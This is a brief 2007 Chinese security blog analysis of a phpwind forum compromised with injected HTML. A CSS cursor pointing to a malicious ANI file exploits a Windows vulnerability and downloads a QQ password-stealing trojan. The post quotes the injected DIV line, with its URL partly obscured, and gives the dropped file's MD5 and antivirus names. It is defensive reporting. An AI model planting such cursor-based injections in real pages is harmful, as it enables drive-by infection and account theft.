某家园论坛被植入利用ANI漏洞传播QQ盗号木马Trojan-PSW.Win32.QQPass.rj的代码

endurer 原创
2007-04-09 第1版

该论坛采用phpwind系统，被加入代码：

/---
＜DIV
style="CURSOR: url('hxxp://world***ao**fwr.net/level***/75***17*p.jpg')"＞＜/DIV＞
---/

hxxp://world***ao**fwr.net/level***/75***17*p.jpg（Kaspersky报为Exploit.Win32.IMG-ANI.p)会利用 ANI漏洞 下载hxxp://world***ao**fwr.net/level***/test.exe。

文件说明符 : D:/test/test.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2007-4-9 17:46:52
修改时间 : 2007-4-9 17:48:50
访问时间 : 2007-4-9 17:49:17
大小 : 70726 字节 69.70 KB
MD5 : 5b5bb63e9be2bc87ffa85d4ff3092b2e

Kaspersky报为 Trojan-PSW.Win32.QQPass.rj（http://www.viruslist.com/en/viruses/encyclopedia?virusid=144457）。

新漏洞传播老木马~